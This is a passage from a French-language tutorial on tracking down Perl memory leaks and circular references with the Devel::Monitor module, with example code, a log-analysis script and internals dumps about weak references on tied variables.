@a = (1,2,3);

Mais encore une fois, c'est une mauvaise ide parce que notre objectif est  de  monitorer des 
centaines de variables, sans avoir  penser  comment les
monitorer.
+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0001 : Les modules Tie sont cons                                             |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Chapitre trois                                                                              |
|                                                                                             |
| Ce que nous voulons                                                                         |
+---------------------------------------------------------------------------------------------+

Nous voulons une fonction qui va monitorer n'importe quoi, et ce, de manire gnrique. Bref, 
aprs chaque dclaration, nous voulons pouvoir assigner  un  tie  sur  la variable, sans pour 
autant perdre le contenu actuel.

L'idal  serait  d'overrider  la  mthode  "my"  (a  se  fait  parce  que  j'ai vu le module 
Devel::Leak::Object qui override la mthode "bless"). Le problme est  qu'il  est  impossible 
(Prouvez moi le contraire), d'obtenir le package (__PACKAGE__)  et  la ligne (__LINE__) de la 
dclaration  partir de l'endroit  o  la  mthode "my" serait override. Donc, cette mthode 
pourrait probablement marcher, mais je n'aurais pas de nom unique pour chaque variable.

Une autre mthode encore plus idale, serait d'avoir accs  la liste de toutes les variables 
instancies  un endroit prcis (comme  la dernire ligne  du programme). Toutefois, je n'ai 
rien trouv permettant cela (Dites-le moi  si  vous savez, et ce dans les plus brefs dlais). 
Tout ce qui est possible est de fouiller dans la table des symboles globaux, ce qui n'est pas 
d'une grande utilit. Il semble mme impossible, au premier regard, de le faire avec Perl XS.

C'est pour cela que nous utiliserons la mthode du "tie" sans utiliser les  modules  Tie  par 
dfaut, mais nous allons nous en inspirer. 

+---------------------------------------------------------------------------------------------+
| Chapitre quatre                                                                             |
|                                                                                             |
| Devel::Monitor                                                                              |
+---------------------------------------------------------------------------------------------+

Regardez sur http://search.cpan.org pour Devel::Monitor

Vous allez tomber sur quelque chose comme :
http://search.cpan.org/~phcote/Devel-Monitor-0.9.0.4/lib/Devel/Monitor.pm

Vous pouvez l'installer avec la commande "cpan -i Devel::Monitor" ou avec ppm sur  windows... 
Bla.

+---------------------------------------------------------------------------------------------+
| Chapitre cinq                                                                               |
|                                                                                             |
| Utilisation de Devel::Monitor                                                               |
+---------------------------------------------------------------------------------------------+

Bon, voici quelques exemples d'utilisation

+---------------------------------------------------------------------------------------------+
| Exemple 0x0004 : Utilisation de "monitor"                                                   |
+---------------------------------------------------------------------------------------------+
{
    my @a;
    monitor('a' => \@a);
    $a[0] = \@a; #Add a circular reference
    print STDERR "Leaving scope\n";
}
print STDERR "Scope left\n";

+----------------------+
| Rsultat             |
+----------------------+
MONITOR ARRAY a
Leaving scope
Scope left
DESTROY ARRAY a

+----------------------+
| Explications         |
+----------------------+

La ligne "DESTROY ARRAY a" devrait tre entre les deux prints de scope. Ce qui veut  dire que 
@a est delet  la fin du programme. Si nous excutons ce code  avec  mod_perl,  la  dernire 
ligne ne sera pas imprime.

+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0004 : Utilisation de "monitor"                                             |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Exemple 0x0005 : Utilisation de "monitor"                                                   |
+---------------------------------------------------------------------------------------------+
{
    my @list = (1,2,3);
    print STDERR join(", ",@list)."\n";
    for my $item (@list) {
        monitor("item $item" => \$item);
        $item+=1000;
        print "$item\n";
    }
    print STDERR join(", ",@list)."\n";
    print "Leaving scope\n";
}
print "Scope left\n";

+----------------------+
| Rsultat que vous    |
| pourriez escompter   |
+----------------------+
1, 2, 3
MONITOR SCALAR : item 1
1001
DESTROY SCALAR : item 1
MONITOR SCALAR : item 2
1002
DESTROY SCALAR : item 2
MONITOR SCALAR : item 3
1003
DESTROY SCALAR : item 3
1, 2, 3
Leaving scope
Scope left

+----------------------+
| Rsultat que vous    |
| aurez                |
+----------------------+
1, 2, 3
MONITOR SCALAR : item 1
1001
MONITOR SCALAR : item 2
1002
MONITOR SCALAR : item 3
1003
1001, 1002, 1003
Leaving scope
DESTROY SCALAR : item 3
DESTROY SCALAR : item 2
DESTROY SCALAR : item 1
Scope left

+----------------------+
| Explications         |
+----------------------+

Perl passe la variables par rfrence dans les "for" et  "foreach",  donc  vous  utilisez les 
rfrences  originales.  Donc,  si  vous  modifiez le contenu de $item, le  array  @list  est 
galement modifi. Ceci explique galement le  fait  que  "item 1", "item 2" et "item 3" sont 
dtruites uniquement lorsque @list est dtruite.

+---------------------------------------------------------------------------------------------+
| EOF : Exemple 0x0005 : Utilisation de "monitor"                                             |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Chapitre six                                                                                |
|                                                                                             |
| Quelques problmes avec les constantes                                                      |
+---------------------------------------------------------------------------------------------+

Vous remarquerez aprs usage que les constantes dclares avec "use constant"  sont  en  fait 
des symboles globaux. Voil des quivalents :

use constant CONST => [1,2];
sub CONST() { [1,2] };
sub CONST { [1,2] };
*CONST = sub () { [1,2] };       #Dclar comme le fait constant.pm
*main::CONST = sub () { [1,2] }; #Ne fonctionne pas avec mod_perl

Lorsque perl compile, il s'aperoit que la constante est inline, donc il la
remplace par sa vritable valeur.

Ce code :
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4 use Tie::Array;
5 use constant CONST => [1,2];
6 tie CONST(), 'Tie::StdArray';

est convertit part :
1 use Tie::Array;
2 use constant ('CONST', [1, 2]);
3 BEGIN {${^WARNING_BITS} = "UUUUUUUUUUUU"}
4 use strict 'refs';
5 tie [1, 2], 'Tie::StdArray';

visualisable avec la commande "perl -MO=Deparse test.pl"

Nous essayons donc de tie-er [1, 2], ce qui est impossible car c'est une
constante tel que nous le dira perl.

Nous devons tie-er la valeur retourne par la fonction comme ceci
1 #!/usr/bin/perl
2 use strict;
3 use warnings;
4 use Tie::Array;
5 use constant CONST => [1,2];
6 tie @{&CONST()}, 'Tie::StdArray';

L'quivalent avec le module monitor se fait ainsi :
monitor('my constant value' => \&CONST);


galement, puisqu'une constante est globale et reste en mmoire le temps que le module est en 
mmoire, notre monitor va nous indiquer que  la  variable est vivante jusqu' la fin de notre 
programme.  Il  faut  donc  tre  en  mesure  d'indiquer  que  la  variable monitore est une 
constante.

Regardons le cas suivant :

1 use constant CONST => [1,2];
2 {
3     my $list = CONST();
4     monitor('the list' => \$list);
5 }
6 print "Last program line\n";


Ceci indiquera que $list n'est pas dtruite avant la fin du programme parce  qu'elle contient 
la  mme  rfrence que CONST. C'est pour cela qu'il faut monitorer  les  constantes    leur 
cration, pour que par la suite, on ne puisse pas  monitorer  les  variables  qui utilise les 
constantes.

Nous ferons comme ceci :

1 use constant CONST => [1,2];
2 monitor('my constant value' => \&CONST);
3 {
4     my $list = CONST();
5     monitor('the list' => \$list);
6 }
7 print "Last program line\n";


Le deuxime monitor indiquera qu'il n'est pas possible de monitorer la variable parce qu'elle 
est dja monitore par "my constant value". De ce point, nos  prints  ne  parleront  pas   de 
memory leak... puisque nous verrons immdiatement  que  c'est  une  constante  qui  n'est pas 
supprime (ce qui est normal).

L'autre problme reli aux constante serait si j'excute ceci :

1 use constant CONST => [1,2];
2 monitor('my constant value' => \&CONST());
3 {
4     my $list = CONST()->[0];
5     monitor('the list' => \$list);
6 }
7 print "Last program line\n";

J'obtiens le mme problme que tantt parce que CONST()->[0] n'est  pas  dj  monitor. Pour 
palier  ces "problmes", la mthode monitor va tie-er rcursivement les constantes,  savoir 
tous les index des arrays, et toutes les cls des hashs, etc.

+---------------------------------------------------------------------------------------------+
| Chapitre sept                                                                               |
|                                                                                             |
| Outil d'insertion de moniteurs                                                              |
+---------------------------------------------------------------------------------------------+

Si vous avez par exemple 100 fichiers  monitorer avec 100000 variables,  vous  aurez  besoin 
d'un script qui va insrer un "monitor" sur chaque variable, pour  vous  viter  cette   dure 
labeur. Codez vous un SetMonitor.pl qui va parser le code source et insrer des choses comme:

monitor('mona::CGI::SiteMap::$self at line 32' => \$self);


Je ne vous donnerai pas ce code source  moins que la demande se fasse vraiment sentir, parce 
qu'il est vraiment trop laid. Disons que je l'ai fait assez vite.  Faire  un parser improvis 
en deux/trois jours,  c'est  bon...  mais  patch... Je  conseille  galement  d'excuter  un 
perltidy avant l'usage de ce genre de script.

+---------------------------------------------------------------------------------------------+
| Chapitre huit                                                                               |
|                                                                                             |
| Outil de visualisation d'erreurs                                                            |
+---------------------------------------------------------------------------------------------+

Une fois les monitors implants, vous roulez votre application, qui  va  printer  des  choses 
dans le STDERR, qui est /var/log/apache2/error_log dans mon cas. Une page me  gnre  jusqu' 
1500000  (Oui, 1500000)  lignes de message pour une page d'informations sur le gne Casp10 de 
la famille  Caspase.  Donc,  j'ai  besoin  d'un  outil  pour me rsumer le memory leak que je 
cherche. Voil cet outil.

NOTE : Vous devez excuter votre application depuis mod_perl (ou d'un endroit o  le  process 
       ne se termine pas...), autrement, la mmoire sera libre.

+---------------------------------------------------------------------------------------------+
| VerifyMonitor.pl                                                                            |
+---------------------------------------------------------------------------------------------+
#!/usr/bin/perl

##Philippe Cote, 2005

##DOC

=head1 NAME

VerifyMonitor

=head1 DESCRIPTION

See perl VerifyMonitor -h for help

=cut

use strict;
use warnings;
use File::Find;

#CONSTANTS --------------------------------------------------------------------
use constant RED    => "\e[0;31m";
use constant NORMAL => "\e[0m";

sub printRed {
    my $msg = shift;
    if ($^O !~ /win32|dos/i) {
        print RED . $msg . NORMAL . "\n";
    }
    else {
        print "$msg\n";
    }
}

#HELP -------------------------------------------------------------------------
if ((scalar(@ARGV) < 3) || ($ARGV[0] =~ /(-h)|(--help)/)) {
    print <<"EOT";
Usage : perl VerifyMonitor.pl file beginTag endTag

Add a print at the begin of your program
print STDERR ":::PROGRAM START\n";
and at the end.
print STDERR ":::PROGRAM END\n";

Run your program with some monitors

It will print stuff to the error file you choose

Now verify with this command

perl VerifyMonitor.pl /var/log/apache/error_log ':::PROGRAM START' ':::PROGRAM END'

EOT
    exit(0);
}

#------------------------------------------------------------------------------

_verifyMonitor($ARGV[0],$ARGV[1],$ARGV[2]);

sub _verifyMonitor {
    my $filename = shift;
    my $beginTag = shift;
    my $endTag   = shift;

    open(my $inHandle,$filename) || die("Can't open INFILE: $!");
    my $lineNum = 0;
    my $lineBegin;
    my $lineEnd;
    my $mem = {};  #Every monitored variables
    while (my $line = <$inHandle>) {
        $lineNum++;
        if ($line =~ /$beginTag/) {
            $lineBegin = $lineNum;
            $mem = {};
        }
        if ($line =~ /$endTag/) {
            $lineEnd = $lineNum;
            print "Results from line $lineBegin to $lineEnd ------------------------------------------------\n";
            _printMemoryLeak($mem);
        }
        if ($line =~ /MONITOR CODE (HASH|ARRAY|SCALAR) : (.*)/) {
            #Nothing to do
        }
        elsif ($line =~ /MONITOR (HASH|ARRAY|SCALAR) : (.*)/) {
            if (exists($mem->{$2})) {
                $mem->{$2}++;
            } else {
                $mem->{$2} = 1;
            }
        }
        elsif ($line =~ /DESTROY CODE (HASH|ARRAY|SCALAR) : (.*)/) {
            #Nothing to do
        }
        elsif ($line =~ /DESTROY (HASH|ARRAY|SCALAR) : (.*)/) {
            if (exists($mem->{$2})) {
                if ($mem->{$2} > 1) {
                    $mem->{$2}--;
                } else {
                    delete($mem->{$2})
                }
            } else {
                print "DESTROY $1 : $2 were found, but not monitored\n";
            }
        }
    }
    close($inHandle);
}

sub _printMemoryLeak {
    my $memRef = shift;
    my $i = 0;
    foreach my $key (keys %$memRef) {
        print "$i - $key were not destroyed(".$memRef->{$key}.")\n";
        $i++;
    }
    print "Nothing found\n" if $i == 0;
}
+---------------------------------------------------------------------------------------------+
| EOF : VerifyMonitor.pl                                                                      |
+---------------------------------------------------------------------------------------------+

Ceci imprimera vos variables n'ayant pas t dtruites. N'oubliez pas  de  lire  le  help  de 
VerifyMonitor.pl...

+---------------------------------------------------------------------------------------------+
| Chapitre neuf                                                                               |
|                                                                                             |
| Comment rgler les rfrences circulaires                                                   |
+---------------------------------------------------------------------------------------------+

Disons que nous avons ce petit code "trs con et illogique" orient objet :

1  #!/usr/bin/perl
2
3  #--------------------------------------------------------------------
4  # Little program
5  #--------------------------------------------------------------------
6
7  use strict;
8  use warnings;
9  use Devel::Monitor qw(:all);
10
11 {
12     my $a = ClassA->new();
13     my $b = $a->getClassB();
14     monitor('$b' => \$b);
15     $b->getClassA()->printSomething();
16     print "Leaving scope\n";
17 }
18 print "Scope left\n";
19
20 #--------------------------------------------------------------------
21 # ClassA (Just a class with the "printSomething" method)
22 #--------------------------------------------------------------------
23
24 package ClassA;
25 use strict;
26 use warnings;
27 use Scalar::Util qw(weaken isweak);
28
29 sub new {
30     my ($class) = @_;
31     my $self = {};
32     bless($self => $class);
33     return $self;
34 }
35
36 sub getClassB {
37    my $self = shift;
38    $self->{_classB} = ClassB->new($self);
39    return $self->{_classB};
40 }
41
42 sub printSomething {
43     print "Something\n";
44 }
45
46 #--------------------------------------------------------------------
47 # ClassB (A class that got a "parent" which is a ClassA instance)
48 #--------------------------------------------------------------------
49
50 package ClassB;
51 use strict;
52 use warnings;
53 use Scalar::Util qw(weaken isweak);
54
55 sub new {
56     my ($class, $classA) = @_;
57     my $self = {};
58     bless($self => $class);
59     $self->setClassA($classA);
60     return $self;
61 }
62
63 sub setClassA {
64     my ($self, $classA) = @_;
65     $self->{_classA} = $classA;
66 }
67
68 sub getClassA {
69     return shift->{_classA};
70 }
71
72 1;

+----------------------+
| Rsultat             |
+----------------------+
MONITOR HASH : $b
Something
Leaving scope
Scope left
DESTROY HASH : $b

+----------------------+
| Explications         |
+----------------------+

On  voit  que  l'objet rfrenc par $b n'est pas dtruit lorsqu'il sort du scope  parce  que 
$a->{_classB} le rfrence. Nous avons une rfrence circulaire. Nous pouvons  alors utiliser 
deux mthodes.
 - La mthode manuelle qui consiste  dtruite avec un  delete  ou  un  undef,  la  rfrence 
   circulaire, lorsque nous n'avons plus besoin de l'objet.
 - La mthode plus cool, qui consiste   dclarer  "weaken " une  des  deux  rfrences. Si A 
   pointe vers B et B vers A, si je weaken A, lorsque  le  garbage  collector  vrifiera  les 
   variables, il verra deux rfrences sur A, l'originale  qui est weaken, et celle de B vers 
   A. Il considre donc cela comme une seule rfrence, rendant possible la suppression de A, 
   qui  rendra  ensuite  possible  la  suppression  de B. Le weaken sert  dire "oui j'ai une
   rfrence ici, mais fait comme si j'existais pas". On se rend compte  qu'on  ne  peut  pas 
   mettre des weaken partout  comme  l'on  veut  parce  que  nos  variables vont se supprimer 
   d'elle-mmes...

+---------------------------------------------------------------------------------------------+
| Mauvaise faon de briser la rfrence circulaire                                            |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    $self->{_classB} = ClassB->new($self);  #$self->{_classB} est la seule
                                            #rfrence  l'objet
    weaken($self->{_classB});               #on weaken la seule rfrence
                                            #$self->{_classB} est dtruite ici
    print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    return $self->{_classB};                #On retourne undef
}
+---------------------------------------------------------------------------------------------+
| Bonne faon de briser la rfrence circulaire                                               |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    my $b = ClassB->new($self);
    $self->{_classB} = $b;                  #On cre une seconde rfrence
    weaken($self->{_classB});               #On cre un weaken
    print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    return $self->{_classB};                #On retourne l'objet, qui
                                            #logiquement sera rfrenc
                                            #par une variable de l'appelant
} #$b est dtruit ici, il nous reste donc la variable de l'appelant et la
  #variable weaken. La variable de l'appelant pourra cependant tre dtruite
  #parce que la rfrence circulaire est weaken d'un ct.
+---------------------------------------------------------------------------------------------+
| Faire attention !!! Ceci ne fonctionne pas                                                  |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    {
        my $b = ClassB->new($self);
        $self->{_classB} = $b;                  #On cre une seconde rfrence
        weaken($self->{_classB});               #On weaken cette rfrence
        print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    } #$b est dtruite ici, et $self->{_classB} aussi parce qu'elle est weaken
      #L'instance "ClassB" est dtruite $self->{_classB} gale undef
    return $self->{_classB};
}
+---------------------------------------------------------------------------------------------+
| Bonne faon                                                                                 |
+---------------------------------------------------------------------------------------------+
sub getClassB {
    my $self = shift;
    my $b;
    {
        $b = ClassB->new($self);
        $self->{_classB} = $b;                  #On cre la seconde rfrence
        weaken($self->{_classB});               #On weaken la rfrence
        print "\$self->{_classB} is now weaken\n" if isweak($self->{_classB});
    } #$b n'est pas encore dtruite, donc on ne perd pas notre rfrence 
      #notre objet
    return $self->{_classB}; #On retourne l'objet qui sera pris en charge
                             #par le module appelant.
}

+---------------------------------------------------------------------------------------------+
| Conclusion                                                                                  |
+---------------------------------------------------------------------------------------------+
Il faut toujours s'assurer de conserver une rfrence "non-weak" sur notre objet

Le output final sera :

$self->{_classB} is now weaken
MONITOR HASH : $b
Something
Leaving scope
DESTROY HASH : $b
Scope left

Nous n'avons plus de rfrences circulaires

+---------------------------------------------------------------------------------------------+
| Il faut toujours weaken-er la rfrence de l'appelant, autrement                            |
| on peut rendre les modules inutilisables                                                    |
+---------------------------------------------------------------------------------------------+

Soit le code suivant avec les package de tantt :

1  my $b;
2  {
3      my $a = ClassA->new();
4      monitor('$a' => \$a);
5      $b = ClassB->new($a);
6      $b->getClassA()->printSomething();
7      print "Leaving scope\n";
8  }
9  print "Scope left\n";
10 $b->getClassA()->printSomething();

avec le weaken du ct de l'appel

1 sub setClassA {
2     my ($self, $classA) = @_;
3     $self->{_classA} = $classA;
4     weaken($self->{_classA});
5     print "\$self->{_classA} is now weaken\n" if isweak($self->{_classA});
6 }

On obtient le output suivant avec l'erreur  la fin

MONITOR HASH : $a
$self->{_classA} is now weaken
Something
Leaving scope
DESTROY HASH : $a
Scope left
Can't call method "printSomething" on an undefined value at test.pl line 29.



$a est dtruite  la fin du scope, et l'autre rfrence  la variable est  weaken,  donc elle 
est dtruite aussi. Ceci prouvant qu'il faut weaken-er  le  ct  de  l'appelant   parce  que 
l'appelant ne mmorise pas ncessairement la rfrence.

+---------------------------------------------------------------------------------------------+
| Chapitre dix                                                                                |
|                                                                                             |
| Impossible de weaken-er un objet tied                                                       |
+---------------------------------------------------------------------------------------------+

Il est impossible de weaken-er un objet tied. L'appel de la mthode ne fait  tout  simplement 
rien.

+---------------------------------------------------------------------------------------------+
| Preuve 0x0002 : Test de base                                                                |
+---------------------------------------------------------------------------------------------+
1  use Devel::Monitor qw(:all);
2  use Scalar::Util qw(weaken isweak);
3  my (@a, @b);
4  tie @a, 'Devel::Monitor::TestArray';
5  tie @b, 'Devel::Monitor::TestArray';
6  $a[0] = \@b;
7  $b[0] = \@a;
8  weaken($b[0]);
9  if (isweak($a[0])) {
10     print "\$a[0] is weak\n";
11 } else {
12     print "\$a[0] is not weak\n";
13 }
14 if (isweak($b[0])) {
15     print "\$b[0] is weak\n";
16 } else {
17     print "\$b[0] is not weak\n";
18 }

Le output sera :

$a[0] is not weak
$b[0] is not weak

Toutefois, si nous enlevons les deux "tie", le output sera :

$a[0] is not weak
$b[0] is weak

+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0002 : Test de base                                                          |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Preuve 0x0003 : mod_perl                                                                    |
+---------------------------------------------------------------------------------------------+
Soit le petit programme suivant :

+----------------------+
| test.pl              |
+----------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Scalar::Util qw(weaken);
5  use Devel::Monitor qw(:all);
6  use Util::Junk;
7
8  my (@a, $b);
9  #tie @a, 'Devel::Monitor::TestArray';
10 $a[0] = \$b;
11 $b = \@a;
12 $a[1] = Util::Junk::_20M();
13 weaken($a[0]);
+----------------------+
| EOF : test.pl        |
+----------------------+
+----------------------+
| Util::Junk           |
+----------------------+
1  package Util::Junk;
2  use strict;
3  use warnings;
4
5  sub _20M() { 'A 20 megs string here filled with zeros' }
6
7  1;
+----------------------+
| EOF : Util::Junk     |
+----------------------+
+----------------------+
| wget-test.pl         |
+----------------------+
1  #!/usr/bin/perl
2
3  use strict;
4  use warnings;
5
6  my $baseUrl = 'http://localhost/perl/test.pl';
7
8  my $i = 0;
9  while (1) {
10     print "Loop ".++$i."\n";
11
12     system('wget "'.$baseUrl.'" -O /dev/null') == 0
13         or die "\nwget failed or has been interrupted : $?\n";
14 }
+----------------------+
| EOF : wget-test.pl   |
+----------------------+


Maintenant  que  nous  avons  un  programme et un caller (ainsi que mod_perl),  nous  pouvons 
dmarrer le programme. Notez que le url est hardcod dans le programme de test.

perl wget-test.pl

Lorsque @a n'est pas tied (Voir la ligne 9 commente),  aprs  environ  10  chargement  de la 
page, les process de Apache contiennent tous la page et  le  chargement  devient TRS rapide. 
Vous noterez galement que la mmoire devient stable.

Toutefois, si la ligne 9 n'est plus commente, la mmoire va rapidement se  remplir et chaque 
chargement de la page aura un temps constant identique aux temps de dpart du programme. Nous 
voyons facilement que le weaken ne se fait pas.

+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0003 : mod_perl                                                              |
+---------------------------------------------------------------------------------------------+

+---------------------------------------------------------------------------------------------+
| Preuve 0x0004 : Assaut final                                                                |
+---------------------------------------------------------------------------------------------+

Tout d'abord, il faut s'assurer que les mthodes Scalar::Util::weaken et Scalar::Util::isweak 
ne contiennent pas de bugs. Si nous les regardons de plus  prs, nous voyons qu'elles ne font 
simplement qu'appeler les mthodes XS suivantes :

1  void
2  weaken(sv)
3     SV *sv
4  PROTOTYPE: $
5  CODE:
6  #ifdef SvWEAKREF
7     sv_rvweaken(sv);
8  #else
9     croak("weak references are not implemented in this release of perl");
10 #endif
11
12 void
13 isweak(sv)
14    SV *sv
15 PROTOTYPE: $
16 CODE:
17 #ifdef SvWEAKREF
18    ST(0) = boolSV(SvROK(sv) && SvWEAKREF(sv));
19    XSRETURN(1);
20 #else
21    croak("weak references are not implemented in this release of perl");
22 #endif


Nous voyons que ce code est trs simple et ne fait qu'appeler des mthodes  de l'API de Perl. 
Donc, aucun gros traitements ici et donc aucune possibilit de bugs dans ces mthodes.

Il existe un outil nomm Devel::Peek qui permet de dumper le contenu d'une  variable  dans un 
format de dveloppeur XS. XS est le langage ou plutt  l'extension  de  C++  pour  crer  des 
modules Perl en C++, en utilisant l'API de  Perl.  (Voir  perlapi,  perlguts  et  tout  autre 
documentation sur le coeur de Perl)

Si  vous  connaissez  l'API  de perl, vous saurez sans doute que le flag WEAKREF  est  activ 
lorsqu'une variable est weaken et ceci est visualisable avec un dump.

Note : Devel::Peek::Dump ne fait qu'appeler sv_dump de l'API Perl.

Regardons un exemple de rsultat que nous devrions avoir :

+----------------------+
| Code                 |
+----------------------+
1  #!/usr/bin/perl
2  use strict;
3  use warnings;
4  use Devel::Monitor qw(:all);
5   
6  use Scalar::Util qw(weaken);
7  use Devel::Peek;
8  {
9      my (@a);
10     $a[0] = \@a;
11     #tie @a, 'TestArray';
12     Dump($a[0],1);
13     weaken($a[0]);
14     Dump($a[0],1);
15     print "Leaving scope\n";
16 }
17 print "Scope left\n";
18  
19 package TestArray;
20 use Tie::Array;
21 use base 'Tie::StdArray';
22  
23 sub DESTROY { print "Monitor::TestArray::DESTROY : $_[0]\n"; }
24  
25 1;

+----------------------+
| Rsultat sans le tie |
+----------------------+
SV = RV(0x81829c0) at 0x814127c
  REFCNT = 1
  FLAGS = (ROK)
  RV = 0x814e740
  SV = PVAV(0x81426cc) at 0x814e740
    REFCNT = 2
    FLAGS = (PADBUSY,PADMY)
    IV = 0
    NV = 0
    ARRAY = 0x8148888
    FILL = 0
    MAX = 3
    ARYLEN = 0x0
    FLAGS = (REAL)
SV = RV(0x81829c0) at 0x814127c
  REFCNT = 1
  FLAGS = (ROK,WEAKREF,IsUV)
  RV = 0x814e740
  SV = PVAV(0x81426cc) at 0x814e740
    REFCNT = 1
    FLAGS = (PADBUSY,PADMY,RMG)
    IV = 0
    NV = 0
    MAGIC = 0x8266f08
      MG_VIRTUAL = &PL_vtbl_backref
      MG_TYPE = PERL_MAGIC_backref(<)
      MG_FLAGS = 0x02
        REFCOUNTED
      MG_OBJ = 0x81411c8
      SV = PVAV(0x8263704) at 0x81411c8
        REFCNT = 2
        FLAGS = ()
        IV = 0
        NV = 0
        ARRAY = 0x82677e8
        FILL = 0
        MAX = 3
        ARYLEN = 0x0
        FLAGS = (REAL)
    ARRAY = 0x8148888
    FILL = 0
    MAX = 3
    ARYLEN = 0x0
    FLAGS = (REAL)
Leaving scope
Scope left

+----------------------+
| Explications         |
+----------------------+

Ce qui nous concerne le plus ici est le flag WEAKREF qui nous confirme que la  rfrence (RV) 
est bel et bien weaken. Cependant, regardons ce qui se passe  si  l'on  active la ligne 11 de 
notre code tant le tie de la variable @a

+----------------------+
| Rsultat avec le tie |
+----------------------+
SV = PVLV(0x817c568) at 0x81413f0
  REFCNT = 1
  FLAGS = (TEMP,GMG,SMG,RMG)
  IV = 0
  NV = 0
  PV = 0
  MAGIC = 0x81505b8
    MG_VIRTUAL = &PL_vtbl_packelem
    MG_TYPE = PERL_MAGIC_tiedelem(p)
    MG_FLAGS = 0x02
      REFCOUNTED
    MG_OBJ = 0x814139c
    SV = RV(0x81829ac) at 0x814139c
      REFCNT = 2
      FLAGS = (ROK)
      RV = 0x8141354
  TYPE = t
  TARGOFF = 0
  TARGLEN = 0
  TARG = 0x81413f0
SV = PVLV(0x817c568) at 0x81413f0
  REFCNT = 1
  FLAGS = (TEMP,GMG,SMG,RMG)
  IV = 0
  NV = 0
  PV = 0
  MAGIC = 0x81505b8
    MG_VIRTUAL = &PL_vtbl_packelem
    MG_TYPE = PERL_MAGIC_tiedelem(p)
    MG_FLAGS = 0x02
      REFCOUNTED
    MG_OBJ = 0x814139c
    SV = RV(0x81829ac) at 0x814139c
      REFCNT = 2
      FLAGS = (ROK)
      RV = 0x8141354
  TYPE = t
  TARGOFF = 0
  TARGLEN = 0
  TARG = 0x81413f0
Leaving scope
Scope left
Monitor::TestArray::DESTROY : TestArray=ARRAY(0x8141354)

+----------------------+
| Explications         |
+----------------------+

On voit que rien n'a chang avant et aprs l'excution du weaken sur la variable  tied. Suite 
  plusieurs  tests,  j'ai   dcouvert   qu'une   variable   tied   est   de   type    lvalue 
(SvTYPE(sv) == SVt_PVLV). Je    me    suis    galement     aperu     que     la     mthode 
Data::Structure::Util::has_circular_ref ne gre pas ce type de valeur.  Il  semble  galement 
que ce type n'est pas si vieux que a. Je suis donc all  voir  dans  le  code source de Perl 
pour trouver la mthode sv_rvweaken qui fait dfaut. Selon  la dfinition dans embed.h, cette 
mthode rfre  la mthode Perl_sv_rvweaken suivante :

1  /*
2  =for apidoc sv_rvweaken
3   
4  Weaken a reference: set the C<SvWEAKREF> flag on this RV; give the
5  referred-to SV C<PERL_MAGIC_backref> magic if it hasn't already; and
6  push a back-reference to this RV onto the array of backreferences
7  associated with that magic.
9   
10 =cut
11 */
12  
13 SV *
14 Perl_sv_rvweaken(pTHX_ SV *sv)
15 {
16     SV *tsv;
17     if (!SvOK(sv))  /* let undefs pass */
18         return sv;
19     if (!SvROK(sv))
20         Perl_croak(aTHX_ "Can't weaken a nonreference");
21     else if (SvWEAKREF(sv)) {
22         if (ckWARN(WARN_MISC))
23             Perl_warner(aTHX_ packWARN(WARN_MISC), "Reference is already weak");
24         return sv;
25     }
26     tsv = SvRV(sv);
27     sv_add_backref(tsv, sv);
28     SvWEAKREF_on(sv);
29     SvREFCNT_dec(tsv);
30     return sv;
31 }

En dbugguant ce code, on s'aperoit que la variable tied passe  la  ligne  17,  puis  entre 
dans la condition pour finalement excuter la ligne 18. La raison est que notre variable tied 
a les flags suivants : FLAGS = (TEMP,GMG,SMG,RMG).  (Voir   http://gisle.aas.no/perl/illguts/ 
pour des informations additionnelles   perlguts) Donc, comme le dit le code, la condition 17 
devrait tre vraie  lorsque  la  variable est non dfinie, nous indiquant galement - sans le 
mentionner  -  que  les  variables  tied  ne  sont pas gres par cette mthode. Il  faudrait 
remplacer la ligne 18 par quelchose comme :

if (SvMAGIC(sv)) {
    //***************************************
    //Do something like this without bugs !!!
    //***************************************
    //tsv = SvRV(sv);
    //sv_add_backref(tsv, sv);
    //SvWEAKREF_on(sv);
    //SvREFCNT_dec(tsv);
    //***************************************
} else {
    return sv;
}

Toutefois,  je n'arrive pas  faire fonctionner ce genre de code. J'ai des  problmes avec le 
backref. Il semble me manquer des informations primordiales.

+---------------------------------------------------------------------------------------------+
| EOF : Preuve 0x0004 : Assaut final                                                          |
+---------------------------------------------------------------------------------------------+

Ce bug a t soumis  perlbug 
http://rt.perl.org/rt3/Ticket/Display.html?id=34524
et n'a pas t rpondu  ce jour.

Nous arrivons  l'immense problme o nous ne pouvons pas visualiser    tout  coup  que  nos 
variables sont vritablement supprims comme il se doit,  uniquement  parce  que le weaken ne 
veut pas fonctionner avec un tie sur la variable.

Pour vraiment savoir si le weaken se fait bien, nous devons  ce jour, enlever  les monitors, 
et  vrifier  sur  les  variables  suspectes  s'il  y  a  des  rfrences  circulaires   avec 
Devel::Monitor::print_circular_ref.

+---------------------------------------------------------------------------------------------+
| Chapitre onze                                                                               |
|                                                                                             |
| Utilisation de Devel::Monitor                                                               |
+---------------------------------------------------------------------------------------------+

Lorsque vous avez dtectez des variables non dtruites, vous pouvez allez plus  en profondeur 
pour   savoir   o   se   situe   la   rfrence   circulaire   en   utilisant   la   mthode 
Devel::Monitor::print_circular_ref

+---------------------------------------------------------------------------------------------+
| Exemple 0x0006 : Utilisation de "print_circular_ref"                                        |
+---------------------------------------------------------------------------------------------+
1  my (@a, @b);
2  $a[0] = 'asdf';
3  $a[1] = \@b;
4  $b[3] = \@b;
5  print_circular_ref(\@a);
6  print_circular_ref(\@b);

+----------------------+
| Rsultat             |
+----------------------+
-------------------------------------------------------------------------------
Checking circular references for ARRAY(0x814e358)
